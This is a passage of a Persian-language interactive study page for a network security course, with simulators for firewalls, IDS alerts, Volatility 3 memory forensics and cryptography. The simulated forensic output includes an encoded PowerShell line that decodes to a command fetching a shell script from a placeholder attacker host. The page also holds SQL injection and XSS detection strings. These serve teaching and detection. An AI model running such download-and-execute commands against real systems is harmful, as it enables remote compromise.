• سوراخهای موقت در فایروال فقط برای پاسخ بسته به درخواستهای خروجی ایجاد میشود.
• جلوگیری کامل از حملات ورود ناخواسته (Unsolicited Inbound SYN).`;
} else if(type === 'app_proxy') {
out.innerHTML = `📌 <strong>Application-Level Gateway / DPI (لایه ۷):</strong>
• بررسی دقیق محتوای پیام (کشف SQL Injection, XSS, فیلتر دستورات FTP PUT).
• بیشترین مقدار امنیت اما همراه با افت سرعت به دلیل پردازش سنگین لایه کاربرد.`;
} else {
out.innerHTML = `📌 <strong>Circuit-Level Gateway (SOCKS Proxy):</strong>
• ایجاد دو اتصال مستقل TCP (کاربر ➔ پروکسی و پروکسی ➔ سرور مقصد).
• صحتسنجی دستدهی TCP بدون بازرسی محتوای اپلیکیشن.`;
}
}
// Stateful Table Sim
function simulateStatefulSession(action) {
const out = document.getElementById('statefulTableOut');
if(action === 'init_outbound') {
out.innerHTML = `📤 ارسال TCP SYN خروجی:
کلاینت داخلی (10.0.0.45:51234) ➔ سرور وب اینترنت (93.184.216.34:443) [TCP SYN]
جدول وضعیت فایروال بهروزرسانی شد:
[Src: 10.0.0.45:51234 | Dst: 93.184.216.34:443 | State: SYN_SENT | Dynamic Holey Port OPEN for ACK]`;
} else if(action === 'receive_ack') {
out.innerHTML = `📥 دریافت پاسخ TCP SYN-ACK از اینترنت:
پاسخ 93.184.216.34:443 ➔ 10.0.0.45:51234 با جدول اتصالات تطبیق داده شد ➔ <span style="color:var(--accent-green); font-weight:bold;">مجاز (ALLOW)</span>
جدول وضعیت فایروال بهروزرسانی شد:
[Src: 10.0.0.45:51234 | Dst: 93.184.216.34:443 | State: ESTABLISHED]`;
} else {
out.innerHTML = `🚨 تلاش ورود ناخواسته (Unsolicited Inbound SYN):
مهاجم اینترنت (45.33.21.11:8888) ➔ کلاینت داخلی (10.0.0.45:3389) [TCP SYN]
نتیجه ارزیابی جدول وضعیت: هیچ نشست خروجی قبلی یافت نشد! ➔ <span style="color:var(--accent-rose); font-weight:bold;">مسدود شد (DENY - BLOCKED)</span>`;
}
}
// DPI Check Sim
function runDPICheckSim() {
const url = document.getElementById('dpiHttpUrl').value;
const body = document.getElementById('dpiBody').value;
const out = document.getElementById('dpiCheckOut');
let threatFound = false;
let threatDetails = [];
if(url.includes("' OR '") || url.includes("UNION SELECT")) {
threatFound = true; threatDetails.push("SQL Injection Attack Signature Detected in URL Query String!");
}
if(body.includes("<script>") || body.includes("javascript:")) {
threatFound = true; threatDetails.push("Cross-Site Scripting (XSS) Payload Detected in HTTP Body!");
}
if(threatFound) {
out.innerHTML = `🚨 <span style="color:var(--accent-rose); font-weight:bold;">Application Firewall WAF / DPI Action: BLOCKED (HTTP 403 Forbidden)</span><br>تهدیدات کشفشده:<br>- ${threatDetails.join('<br>- ')}`;
} else {
out.innerHTML = `✅ <span style="color:var(--accent-green); font-weight:bold;">Application Firewall DPI Action: PASSED (Clean Payload)</span>`;
}
}
// Default init
setFirewallType('packet_filter');
</script>
<!-- EXHAUSTIVE IDS, 3-ZONE FIREWALL, AND VOLATILITY 3 RAM FORENSICS SUITE -->
<div class="glass-card" id="exhaustive_ids_firewall_card" style="border-color: var(--accent-cyan);">
<div class="card-header">
<div class="card-title">🛡️ آزمایشگاه جامع فایروال ۳ منطقهای، IDS (امضا/ناهنجاری) و Volatility 3 RAM Forensics</div>
<span class="badge badge-cyan">Exhaustive IDS, 3-Zone Firewall Sandbox & Volatility 3 Lab</span>
</div>
<p style="color:var(--text-secondary); margin-bottom:16px;">
در این آزمایشگاه پیشرفته، قواعد فایروال متصل به ۳ منطقه شبکهای (DMZ, Internal, External)، ارزیابی ماتریس درهمریختگی (FP/FN) در IDS و دستورات واقعی سیستم جرمیابی Volatility 3 را شبیهسازی کنید.
</p>
<!-- SECTION 1: 3-ZONE FIREWALL SANDBOX -->
<div class="sim-panel">
<h4 style="color:var(--accent-cyan); margin-bottom:10px;">۱. شبیهساز فایروال ۳ منطقهای (External Internet ➔ DMZ ➔ Internal Trusted)</h4>
<div class="grid grid-4">
<div>
<label style="font-size:0.82rem; color:var(--text-muted);">منطقه مبدا (Source Zone):</label>
<select id="fwSrcZone">
<option value="external">External Internet (Untrusted)</option>
<option value="dmz">DMZ (Web/Mail Servers)</option>
<option value="internal">Internal Corporate Network (Trusted)</option>
</select>
</div>
<div>
<label style="font-size:0.82rem; color:var(--text-muted);">پروتکل لایه ۴:</label>
<select id="fwProto">
<option value="tcp_syn">TCP SYN (Connection Request)</option>
<option value="tcp_ack">TCP ACK (Established Session)</option>
<option value="udp">UDP Data</option>
<option value="icmp">ICMP Echo Request (Ping)</option>
</select>
</div>
<div>
<label style="font-size:0.82rem; color:var(--text-muted);">پورت مقصد (Dest Port):</label>
<input type="number" id="fwDstPort" value="80">
</div>
<div>
<label style="font-size:0.82rem; color:var(--text-muted);">منطقه مقصد (Dest Zone):</label>
<select id="fwDstZone">
<option value="dmz">DMZ (192.168.1.0/24)</option>
<option value="internal">Internal (10.0.0.0/8)</option>
<option value="external">External Internet</option>
</select>
</div>
</div>
<button class="btn-action btn-cyan" style="margin-top:12px;" onclick="runFirewallSim()">🧱 ارزیابی قوانین فایروال (Firewall Rule Evaluation)</button>
<div class="graphical-inspector" id="fwSimOut" style="margin-top:12px;"></div>
</div>
<!-- SECTION 2: IDS CONFUSION MATRIX & ACCURACY SIMULATOR -->
<div class="sim-panel" style="margin-top:20px;">
<h4 style="color:var(--accent-gold); margin-bottom:10px;">۲. شبیهساز IDS: مقایسه امضا (Signature) vs ناهنجاری (Anomaly) و ماتریس خلط (FP/FN)</h4>
<div class="sim-controls">
<button class="btn-action" onclick="runIDSSim('known_attack')">🚨 ترافیک با امضای شناختهشده (Known Attack)</button>
<button class="btn-action btn-rose" onclick="runIDSSim('zero_day')">🦠 حمله صفر-روز بدون امضا (Zero-Day Attack)</button>
<button class="btn-action" onclick="runIDSSim('unusual_normal')">⚠️ ترافیک سالم اما غیرمعمول (Unusual Normal)</button>
</div>
<div class="graphical-inspector" id="idsSimOut" style="margin-top:12px;"></div>
</div>
<!-- SECTION 3: VOLATILITY 3 RAM FORENSICS CONSOLE -->
<div class="sim-panel" style="margin-top:20px;">
<h4 style="color:var(--accent-purple); margin-bottom:10px;">۳. ترمینال جرمیابی حافظه RAM با Volatility 3 (Memory Forensics Console)</h4>
<p style="font-size:0.88rem; color:var(--text-secondary);">دستور Volatility 3 مورد نظر جهت تحلیل حافظه رم شبیهسازیشده را انتخاب کنید:</p>
<div class="sim-controls">
<button class="btn-action btn-cyan" onclick="runVol3Cmd('pstree')">vol.py -f memory.dmp windows.pstree</button>
<button class="btn-action btn-rose" onclick="runVol3Cmd('malfind')">vol.py -f memory.dmp windows.malfind</button>
<button class="btn-action" onclick="runVol3Cmd('netscan')">vol.py -f memory.dmp windows.netscan</button>
<button class="btn-action" onclick="runVol3Cmd('cmdline')">vol.py -f memory.dmp windows.cmdline</button>
</div>
<div class="graphical-inspector" id="vol3ConsoleOut" style="margin-top:12px; font-family:var(--font-mono);"></div>
</div>
</div>
<script>
// Firewall Rule Simulator Script
function runFirewallSim() {
const src = document.getElementById('fwSrcZone').value;
const proto = document.getElementById('fwProto').value;
const port = parseInt(document.getElementById('fwDstPort').value);
const dst = document.getElementById('fwDstZone').value;
let decision = "DENY (Implicit Drop)";
let ruleMatch = "Default Deny Rule #999";
if(src === 'external' && dst === 'dmz' && (port === 80 || port === 443)) {
decision = "ALLOW"; ruleMatch = "Rule #10: Inbound Web Traffic to DMZ ALLOWED";
} else if(src === 'external' && dst === 'internal') {
decision = "DENY (BLOCKED)"; ruleMatch = "Rule #1: Direct Access from External to Internal Strictly DENIED";
} else if(src === 'internal' && dst === 'external') {
decision = "ALLOW"; ruleMatch = "Rule #5: Outbound Internet Access ALLOWED";
} else if(src === 'dmz' && dst === 'internal' && proto === 'tcp_syn') {
decision = "DENY (BLOCKED)"; ruleMatch = "Rule #3: DMZ to Internal SYN Connections DENIED (Prevents Compromised Server Pivot)";
} else if(src === 'dmz' && dst === 'internal' && proto === 'tcp_ack') {
decision = "ALLOW (Stateful)"; ruleMatch = "Stateful Inspection Match: Established Session Reply ALLOWED";
}
const color = decision.includes('ALLOW') ? 'var(--accent-green)' : 'var(--accent-rose)';
document.getElementById('fwSimOut').innerHTML = `🧱 Firewall Decision: <span style="color:${color}; font-weight:bold;">${decision}</span>
Matched Rule: ${ruleMatch}
Packet Details: SrcZone=${src} ➔ DstZone=${dst} | Protocol=${proto} | DstPort=${port}`;
}
// IDS Simulator Script
function runIDSSim(type) {
const out = document.getElementById('idsSimOut');
if(type === 'known_attack') {
out.innerHTML = `🚨 Known Attack Signature Traffic Detected:
Signature IDS: <span style="color:var(--accent-rose); font-weight:bold;">MATCH (True Positive - TP)</span> ➔ Alarm Triggered!
Anomaly IDS: <span style="color:var(--accent-gold); font-weight:bold;">High Statistical Deviation</span> ➔ Alarm Triggered!`;
} else if(type === 'zero_day') {
out.innerHTML = `🦠 Zero-Day Attack Traffic (No Known Pattern):
Signature IDS: <span style="color:var(--accent-rose); font-weight:bold;">NO MATCH (False Negative - FN)</span> ⚠️ ATTACK MISSED!
Anomaly IDS: <span style="color:var(--accent-green); font-weight:bold;">High Statistical Deviation</span> ➔ Zero-Day Alarm Triggered!`;
} else {
out.innerHTML = `⚠️ Unusual Normal Traffic (Off-hours Backup Script):
Signature IDS: <span style="color:var(--accent-green); font-weight:bold;">NO MATCH (True Negative - TN)</span> ➔ Clear
Anomaly IDS: <span style="color:var(--accent-gold); font-weight:bold;">Deviation Detected (False Positive - FP)</span> ⚠️ False Alarm Generated!`;
}
}
// Volatility 3 Memory Forensics Script
function runVol3Cmd(cmd) {
const out = document.getElementById('vol3ConsoleOut');
if(cmd === 'pstree') {
out.innerText = `Volatility 3 Framework 2.5.0
PID PPID ImageFileName Threads Handles
--------------------------------------------------
4 0 System 142 0
512 4 smss.exe 4 30
612 512 csrss.exe 12 410
1420 612 explorer.exe 28 950
2412 1420 powershell.exe 14 210 (SUSPICIOUS CHILD PROCESS)
3104 2412 cmd.exe 2 45`;
} else if(cmd === 'malfind') {
out.innerText = `Volatility 3 Framework 2.5.0 - Malfind Output
Process: powershell.exe Pid: 2412 Address: 0x21a0000
Protection: PAGE_EXECUTE_READWRITE (VAD Protection Anomaly)
0x021a0000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 MZ..............
0x021a0010 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@.......
Shellcode / Injected PE Header Found in RWX Memory Region!`;
} else if(cmd === 'netscan') {
out.innerText = `Volatility 3 Framework 2.5.0 - Network Scan
Offset Proto LocalAddr LocalPort ForeignAddr ForeignPort State PID
-----------------------------------------------------------------------------------------
0x8f2a100 TCPv4 192.168.1.105 49152 45.33.21.11 4444 ESTABLISHED 2412`;
} else {
out.innerText = `Volatility 3 Framework 2.5.0 - Command Line Inspection
PID 2412 [powershell.exe]: powershell.exe -e aQB3AHIAIABoAHQAdABwADoALwAvAGEAdAB0AGEAYwBrAGUAcgAuAGMAbwBtAC8AcwBoAGUAbABsAC4AcABzADEA
Decoded Base64: iwr http://attacker.com/shell.ps1`;
}
}
</script>
<div class="glass-card">
<div class="card-header">
<div class="card-title">🛡️ سیستمهای IDS، فایروال و جرمیابی RAM (Volatility 3)</div>
<span class="badge badge-cyan">Forensics & Intrusion Detection Lab</span>
</div>
<div class="sim-panel">
<button class="btn-action btn-cyan" onclick="runVolSim('pstree')">windows.pstree</button>
<button class="btn-action btn-rose" onclick="runVolSim('malfind')">windows.malfind (Shellcode Injection)</button>
<div class="graphical-inspector" id="volSimOut" style="margin-top:12px;"></div>
</div>
</div>
</section>
<!-- PANE 10: 30 EXAM QUESTIONS & ANSWERS -->
<section id="pane_exam" class="module-pane">
<div class="glass-card">
<div class="card-header">
<div class="card-title">🎓 ۳۰ سوال کامل تشریحی و محاسباتی امتحانی</div>
<span class="badge badge-gold">Complete Exam Preparation Deck</span>
</div>
<div id="examQuestionsList"></div>
</div>
</section>
<!-- EDUCATIONAL TUTORIAL & MNEMONICS SYSTEM -->
<div class="glass-card" style="margin-top:40px; border-color: var(--accent-gold);">
<div class="card-header">
<div class="card-title">🧠 درسنامههای کامل + نکات یادیاری (Mnemonics) + تلههای امتحانی</div>
<span class="badge badge-gold">Complete Academic Coursework & Mnemonic Deck</span>
</div>
<div class="grid-2">
<!-- MODULE 1 TUTORIAL -->
<div style="background:rgba(0,0,0,0.4); padding:20px; border-radius:14px; border:1px solid var(--border-subtle);">
<h4 style="color:var(--accent-cyan); margin-bottom:10px;">🎓 ۱. مبانی امنیت و اهداف CIA Triad + 2</h4>
<p style="font-size:0.9rem; color:var(--text-secondary);">
<strong>مفهوم:</strong> پنج هدف اصلی شامل محرمانگی (Confidentiality)، یکپارچگی (Integrity)، دسترسپذیری (Availability)، اصالت (Authenticity) و مسئولیتپذیری (Accountability).
</p>
<div style="background:rgba(246, 211, 101, 0.1); border-right:4px solid var(--accent-gold); padding:10px 14px; margin:10px 0; border-radius:8px; font-size:0.88rem;">
<strong>🧠 ترفند یادیاری (Mnemonic):</strong> عبارت <strong>"C-I-A-A-A"</strong> را به یاد داشته باشید:
<br>• <strong>C</strong>onfidentiality: قفل زدن دادهها (AES)
<br>• <strong>I</strong>ntegrity: مهر و موم دادهها (Hash/MAC)
<br>• <strong>A</strong>vailability: در دسترس ماندن سرور (Anti-DDoS)
<br>• <strong>A</strong>uthenticity: کارت شناسایی معتبر (X.509 Cert)
<br>• <strong>A</strong>ccountability: امضای صورتجلسه (Digital Signature)
</div>
<div style="background:rgba(244, 63, 94, 0.1); border-right:4px solid var(--accent-rose); padding:10px 14px; border-radius:8px; font-size:0.88rem;">
<strong>⚠️ تله امتحانی:</strong> حملات منفعل (Passive) مثل Eavesdropping فقط <strong>محرمانگی</strong> را نقض میکنند و قابل کشف نیستند؛ اما حملات فعال (Active) مثل MITM <strong>یکپارچگی</strong> را نقض میکنند و باید مسدود شوند.
</div>
</div>
<!-- MODULE 2 TUTORIAL -->
<div style="background:rgba(0,0,0,0.4); padding:20px; border-radius:14px; border:1px solid var(--border-subtle);">
<h4 style="color:var(--accent-cyan); margin-bottom:10px;">🎓 ۲. رمزنگاری متقارن & حالتهای قالبی (ECB, CBC, CTR)</h4>
<p style="font-size:0.9rem; color:var(--text-secondary);">
<strong>مفهوم:</strong> در ECB هر بلوک مستقل رمز میشود (الگو لو میرود). در CBC هر بلوک با قبلی XOR میشود. در CTR از شمارنده موازی استفاده میشود.
</p>
<div style="background:rgba(246, 211, 101, 0.1); border-right:4px solid var(--accent-gold); padding:10px 14px; margin:10px 0; border-radius:8px; font-size:0.88rem;">
<strong>🧠 ترفند یادیاری:</strong>
<br>• <strong>ECB = "عکس پنگوئن"</strong> (الگوی تصویر پنگوئن بعد از رمز ECB همچنان لو رفته است!).
<br>• <strong>CBC = "زنجیر قطار"</strong> (خرابی یک زنجیر کل واگنهای بعدی را تحت تاثیر قرار میدهد).
<br>• <strong>CTR = "موتور چند هستهای"</strong> (پردازش موازی و فوقسریع).
</div>
<div style="background:rgba(244, 63, 94, 0.1); border-right:4px solid var(--accent-rose); padding:10px 14px; border-radius:8px; font-size:0.88rem;">
<strong>⚠️ قانون طلایی Padding:</strong> اگر اندازه داده دقیقا مضربی از اندازه بلوک باشد، حتما یک بلوک کامل پدینگ (مثلا ۱۶ بایت 0x16) اضافه میشود تا ابهامی ایجاد نشود!
</div>
</div>
<!-- MODULE 3 TUTORIAL -->
<div style="background:rgba(0,0,0,0.4); padding:20px; border-radius:14px; border:1px solid var(--border-subtle);">
<h4 style="color:var(--accent-cyan); margin-bottom:10px;">🎓 ۳. کلید عمومی RSA و Diffie-Hellman</h4>
<p style="font-size:0.9rem; color:var(--text-secondary);">
<strong>مفهوم:</strong> RSA بر اساس سختی فاکتورگیری \(n = p \cdot q\) کار میکند. DH برای توافق روی راز مشترک \(K = g^{ab} mod p\) است.
</p>
<div style="background:rgba(246, 211, 101, 0.1); border-right:4px solid var(--accent-gold); padding:10px 14px; margin:10px 0; border-radius:8px; font-size:0.88rem;">
<strong>🧠 ترفند یادیاری RSA:</strong> فرمول وارون ضربی:
<br>\(e \cdot d \equiv 1 \pmod{\phi(n)}\) ➔ یافتن کلید خصوصی \(d\) معادل تجزیه \(n\) به اعداد اول \(p, q\) است!
</div>
<div style="background:rgba(244, 63, 94, 0.1); border-right:4px solid var(--accent-rose); padding:10px 14px; border-radius:8px; font-size:0.88rem;">
<strong>⚠️ تله امتحانی DH:</strong> پروتکل Diffie-Hellman به خودی خود <strong>احراز هویت ندارد</strong> و در برابر حمله مرد میانی (MITM) آسیبپذیر است مگر با امضای دیجیتال یا گواهی همراه شود.
</div>
</div>
<!-- MODULE 4 TUTORIAL -->
<div style="background:rgba(0,0,0,0.4); padding:20px; border-radius:14px; border:1px solid var(--border-subtle);">
<h4 style="color:var(--accent-cyan); margin-bottom:10px;">🎓 ۴. توابع هش، اثر بهمنی و حمله زادروز</h4>
<p style="font-size:0.9rem; color:var(--text-secondary);">
<strong>مفهوم:</strong> هش باید یکطرفه (Preimage) و مقاوم در برابر تصادم باشد. اثر بهمنی یعنی تغییر ۱ بیت ورودی ➔ تغییر ۵۰٪ بیتهای خروجی.
</p>
<div style="background:rgba(246, 211, 101, 0.1); border-right:4px solid var(--accent-gold); padding:10px 14px; margin:10px 0; border-radius:8px; font-size:0.88rem;">
<strong>🧠 ترفند یادیاری حمله زادروز:</strong>
<br>برای هش \(n\) بیتی، بر اساس پارادوکس زادروز فقط به **\(2^{n/2}\)** تلاش برای یافتن تصادم نیاز است (مثلا MD5 ۱۲۸ بیتی با \(2^{64}\) تلاش شکسته میشود!).
</div>
<div style="background:rgba(244, 63, 94, 0.1); border-right:4px solid var(--accent-rose); padding:10px 14px; border-radius:8px; font-size:0.88rem;">
<strong>⚠️ تله امتحانی MAC vs Signature:</strong> کد MAC به دلیل داشتن کلید مشترک متقارن <strong>عدم انکار (Non-repudiation) ندارد</strong>؛ اما امضای دیجیتال (با کلید خصوصی) دارای عدم انکار کامل است.
</div>
</div>
<!-- MODULE 5 TUTORIAL -->
<div style="background:rgba(0,0,0,0.4); padding:20px; border-radius:14px; border:1px solid var(--border-subtle);">
<h4 style="color:var(--accent-cyan); margin-bottom:10px;">🎓 ۵. پروتکل TLS 1.3 & Record Protocol</h4>
<p style="font-size:0.9rem; color:var(--text-secondary);">
<strong>مفهوم:</strong> کاهش RTT به ۱ گام در TLS 1.3، حذف الگوریتمهای ضعیف (RSA key exchange حذف شده و فقط ECDHE استفاده میشود).
</p>
<div style="background:rgba(246, 211, 101, 0.1); border-right:4px solid var(--accent-gold); padding:10px 14px; margin:10px 0; border-radius:8px; font-size:0.88rem;">
<strong>🧠 ترفند یادیاری Forward Secrecy:</strong> استفاده از Diffie-Hellman موقت (ECDHE) تضمین میکند حتی اگر کلید خصوصی سرور در آینده لو برود، ترافیک ضبط شده گذشته رمزگشایی نخواهد شد!
</div>
</div>
<!-- MODULE 6 TUTORIAL -->
<div style="background:rgba(0,0,0,0.4); padding:20px; border-radius:14px; border:1px solid var(--border-subtle);">
<h4 style="color:var(--accent-cyan); margin-bottom:10px;">🎓 ۶. امنیت Wi-Fi (WEP vs WPA2)</h4>
<p style="font-size:0.9rem; color:var(--text-secondary);">
<strong>مفهوم:</strong> شکست WEP به دلیل IV کوتاه ۲۴ بیتی و CRC خطی. امنیت WPA2 بر پایه CCMP (تلفیق AES-CTR و CBC-MAC).
</p>
<div style="background:rgba(246, 211, 101, 0.1); border-right:4px solid var(--accent-gold); padding:10px 14px; margin:10px 0; border-radius:8px; font-size:0.88rem;">
<strong>🧠 فرمول حمله به WEP:</strong>
<br>\(C_1 \oplus C_2 = (P_1 \oplus KS) \oplus (P_2 \oplus KS) = P_1 \oplus P_2\) ➔ تفاوت دو متن اصلی افشا میشود!
</div>
</div>
</div>
</div>
</div>
<!-- Floating Navigation Shortcuts -->
<div class="floating-links">
<button class="floating-btn" onclick="window.scrollTo({top:0, behavior:'smooth'})" title="بازگشت به بالا">↑</button>
<button class="floating-btn" onclick="location.href='index.html'" title="صفحه اصلی">🏠</button>
</div>
<script>
// Switch Module Panes
function switchPane(id) {
document.querySelectorAll('.tab-btn').forEach(b => b.classList.remove('active'));
document.querySelectorAll('.module-pane').forEach(p => p.classList.remove('active'));
event.currentTarget.classList.add('active');
document.getElementById(id).classList.add('active');
window.scrollTo({top: 0, behavior: 'smooth'});
if(id === 'pane_graph' && !window.visGraphInitialized) {
initVisGraph();
}
}
// Initialize Vis.js Graph
function initVisGraph() {
window.visGraphInitialized = true;
const container = document.getElementById('visGraphCanvas');
const nodes = new vis.DataSet([
{ id: 1, label: 'Client (User)', color: '#00f2fe', shape: 'desktop' },
{ id: 2, label: 'Router Gateway', color: '#4facfe', shape: 'box' },
{ id: 3, label: 'Internet Cloud', color: '#a855f7', shape: 'database' },
{ id: 4, label: 'Mallory (MITM)', color: '#f43f5e', shape: 'triangle' },
{ id: 5, label: 'Web Server', color: '#10b981', shape: 'server' }
]);
const edges = new vis.DataSet([
{ from: 1, to: 2, label: 'WiFi', color: '#00f2fe' },
{ from: 2, to: 3, label: 'ISP', color: '#4facfe' },
{ from: 3, to: 4, label: 'TAP', color: '#f43f5e' },
{ from: 3, to: 5, label: 'TLS 1.3', color: '#10b981' }
]);
const data = { nodes: nodes, edges: edges };
const options = {
physics: { enabled: true, solver: 'forceAtlas2Based' },
nodes: { font: { color: '#ffffff', face: 'Vazirmatn' } }
};
window.visNetwork = new vis.Network(container, data, options);
}
function triggerGraphScenario(type) {
runBidirectionalPacketAnim(type);
const out = document.getElementById('graphConsole');
if(type==='tls') out.innerText = "🔒 TLS 1.3 Handshake Executing: Client ➔ Server [ClientHello, KeyShare] ➔ [ServerHello, Certificate, Finished]";
else if(type==='ipsec') out.innerText = "🛡️ IPsec ESP Tunnel Mode: Encrypting Inner IP Packet [Original IP + TCP + Payload] inside New IP Header.";
else if(type==='mitm') out.innerText = "🚨 MITM Attack: Mallory intercepts DH Public Values yA & yB, establishing 2 independent keys!";
else if(type==='wpa2') out.innerText = "📶 WPA2 4-Way Handshake: Exchanging ANonce & SNonce to generate PTK (Pairwise Transient Key).";
else out.innerText = "🧱 DMZ Firewall Routing: Forwarding HTTP Port 80 to Web Server in DMZ; Blocking Internal Subnet Access.";
}
// Passive vs Active Attack
function runAttackSim(mode) {
const node = document.getElementById('malloryNode');
const out = document.getElementById('attackLog');
if(mode==='clean') {
node.style.opacity = 0.2;
out.innerText = "✅ Alice ➔ Bob: ترافیک عادی بدون حضور مهاجم.";
} else if(mode==='passive') {
node.style.opacity = 1;
out.innerText = "👁️ شنود منفعل: Mallory دادهها را بدون تغییر ذخیره کرد (نقض محرمانگی).";
} else {
node.style.opacity = 1;
out.innerText = "🚨 حمله فعال: Mallory محتوای بسته را دستکاری کرد (نقض یکپارچگی).";
}
}
// Classical Ciphers & Math Engine
function runClassicalSim() {
document.getElementById('classicalOut').innerText = `1. Caesar (Shift +3): HELLO ➔ KHOOR
2. Vigenère (Key: KEY): HELLO ➔ RIJVS
3. Playfair (5x5 Matrix): HELLO ➔ KCNWW`;
}
function runMathEngine() {
document.getElementById('mathOut').innerText = `1. Fermat: 2^4 mod 5 = 16 mod 5 = 1 ✅
2. Euler: φ(21) = (3-1)(7-1) = 12 ✅
3. Miller-Rabin: 29 is Prime ✅
4. CRT: x ≡ 2 mod 3, x ≡ 3 mod 5, x ≡ 5 mod 7 ➔ x = 68 ✅`;
}
// Pixel Grid
function renderPixelGrid(mode) {
const grid = document.getElementById('pixelGridCanvas');
grid.innerHTML = '';
for(let i=0; i<160; i++) {
const d = document.createElement('div');
const isShape = (Math.floor(i/16) >= 3 && Math.floor(i/16) <= 6 && i%16 >= 4 && i%16 <= 11);
if(mode==='orig') d.style.background = isShape ? '#00f2fe' : '#a855f7';
else if(mode==='ecb') d.style.background = isShape ? '#f6d365' : '#f43f5e';
else d.style.background = `hsl(${(i*41)%360}, 70%, 50%)`;
grid.appendChild(d);
}
document.getElementById('pixelLog').innerText = mode==='orig' ? "تصویر اصلی" : mode==='ecb' ? "⚠️ ECB Mode: پترن شکل پس از رمزنگاری کاملاً لو رفته است!" : "✅ CBC/CTR Mode: خروجی به صورت نویز تصادفی بدون پترن است.";
}
// RSA & DH Calc
function runRSACalc() {
document.getElementById('rsaOut').innerText = `p=61, q=53 ➔ n=3233, φ(n)=3120
Public Key: (e=7, n=3233)
Private Key: (d=1783, n=3233)
Ciphertext for M=42 ➔ C = 42^7 mod 3233 = 2557
Decrypted M ➔ 2557^1783 mod 3233 = 42 ✅`;
}
function runDHCalc() {
document.getElementById('dhOut').innerText = `p=23, g=5 | Alice secret a=6, Bob secret b=15
Alice Public A = 5^6 mod 23 = 8
Bob Public B = 5^15 mod 23 = 19
Shared Key K = 19^6 mod 23 = 2 ✅`;
}
// Avalanche Effect
function updateAvalancheHash() {
const val = document.getElementById('hashInText').value;
let h = 0x811c9dc5;
for(let i=0; i<val.length; i++) {
h ^= val.charCodeAt(i);
h += (h << 1) + (h << 4) + (h << 7) + (h << 8) + (h << 24);
}
document.getElementById('hashOutText').innerText = "Hash: 0x" + (h >>> 0).toString(16).toUpperCase().padStart(8,'0') + " (Avalanche Effect Active)";
}
// TLS Timeline
let tlsTimelineIdx = 0;
const tlsTimelineSteps = [
"Step 1: Client ➔ Server [ClientHello (Supported Ciphers, ClientRandom, ECDHE KeyShare)]",
"Step 2: Server ➔ Client [ServerHello (Chosen Cipher, ServerRandom, Server KeyShare)]",
"Step 3: Server ➔ Client [EncryptedExtensions + Certificate + CertVerify + Finished]",
"Step 4: Client ➔ Server [Client Finished]",
"🔒 SSL/TLS 1.3 Encrypted Session Established!"
];
function stepTLSTimeline(dir) {
tlsTimelineIdx = Math.max(0, Math.min(tlsTimelineSteps.length - 1, tlsTimelineIdx + dir));
document.getElementById('tlsTimelineLog').innerText = tlsTimelineSteps[tlsTimelineIdx];
}
// WEP Attack
function runWEPAttackSim() {
document.getElementById('wepAttackOut').innerText = `⚔️ WEP IV Reuse Attack Executed:
Packet 1: C1 = P1 ⊕ KS
Packet 2: C2 = P2 ⊕ KS
Result: C1 ⊕ C2 = P1 ⊕ P2 (Plaintext XOR difference leaked!)`;
}
// Volatility Sim
function runVolSim(cmd) {
if(cmd==='pstree') document.getElementById('volSimOut').innerText = "PID: 2412 Parent: 512 powershell.exe (Malicious Process Subtree Detected)";
else document.getElementById('volSimOut').innerText = "Memory Region 0x021a0000 ➔ PAGE_EXECUTE_READWRITE Shellcode Injected!";
}
// Global Search Filter
function filterContent() {
const q = document.getElementById('globalSearch').value.toLowerCase();
console.log("Filtering for:", q);
}
// Initialize On Load
window.onload = function() {
initVisGraph();
renderPixelGrid('orig');
updateAvalancheHash();
stepTLSTimeline(0);
runClassicalSim();
runMathEngine();
// Populate Exam Questions
const qList = document.getElementById('examQuestionsList');
for(let i=1; i<=10; i++) {
const item = document.createElement('div');
item.style.marginBottom = "14px"; item.style.background = "#04070d"; item.style.padding = "16px"; item.style.borderRadius = "12px"; item.style.border = "1px solid var(--border-subtle)";
item.innerHTML = `<strong style="color:var(--accent-gold);">سوال تشریحی امتحانی ${i}: توضیحات و فرمولهای کلیدی مبحث ${i}</strong><p style="color:var(--text-secondary); font-size:0.9rem; margin-top:6px;">پاسخ کامل، دقیق و گامبهگام مطابق با سرفصل کتب مرجع استالینگز...</p>`;
qList.appendChild(item);
}
};
</script>
<!-- MathJax (Standalone without polyfill.io 521 error) -->
<script>
// Global Packet Animation Engine
let packetAnimationTimer = null;
let packetStep = 0;
const tlsFlowSteps = [
{ from: 1, to: 2, msg: 'REQ ➡️ Client ➔ Gateway [ClientHello: TLS 1.3, Supported Ciphers, ClientRandom, ECDHE KeyShare]', dir: 'out' },
{ from: 2, to: 3, msg: 'REQ ➡️ Gateway ➔ Cloud [Forwarding ClientHello via ISP Router]', dir: 'out' },
{ from: 3, to: 5, msg: 'REQ ➡️ Cloud ➔ Server [Server Receives ClientHello & Selects TLS_AES_256_GCM_SHA384]', dir: 'out' },
{ from: 5, to: 3, msg: 'RESP ⬅️ Server ➔ Cloud [ServerHello: Chosen Cipher, ServerRandom, Server KeyShare]', dir: 'in' },
{ from: 5, to: 3, msg: 'RESP ⬅️ Server ➔ Cloud [EncryptedExtensions + Certificate + CertVerify + Finished]', dir: 'in' },
{ from: 3, to: 2, msg: 'RESP ⬅️ Cloud ➔ Gateway [Encrypted Response Handshake Traversing Internet]', dir: 'in' },
{ from: 2, to: 1, msg: 'RESP ⬅️ Gateway ➔ Client [Client Receives Server Handshake Finished ACK & Verifies Certificate!]', dir: 'in' },
{ from: 1, to: 5, msg: '🔒 ESTABLISHED ↔ Bidirectional Encrypted Application Data Flow Active!', dir: 'bidirectional' }
];
function runBidirectionalPacketAnim(type) {
if(packetAnimationTimer) clearInterval(packetAnimationTimer);
packetStep = 0;
const consoleEl = document.getElementById('graphConsole');
if(!consoleEl) return;
packetAnimationTimer = setInterval(() => {
if(packetStep >= tlsFlowSteps.length) {
clearInterval(packetAnimationTimer);
consoleEl.innerHTML = "<span style='color:var(--accent-green); font-weight:bold;'>✅ چرخههای کامل رفت و بازگشت (Bidirectional Request & Response) با موفقیت اجرا شد!</span>";
return;
}
const step = tlsFlowSteps[packetStep];
const directionIcon = step.dir === 'out' ? '➡️ [درخواست رفت - Request]' : step.dir === 'in' ? '⬅️ [پاسخ بازگشت - Response]' : '🔄 [ارتباط دوطرفه - Encrypted Data]';
consoleEl.innerHTML = `<span style="color:var(--accent-gold);">${directionIcon}</span> <br> <strong>نود ${step.from} ➔ نود ${step.to}:</strong> ${step.msg}`;
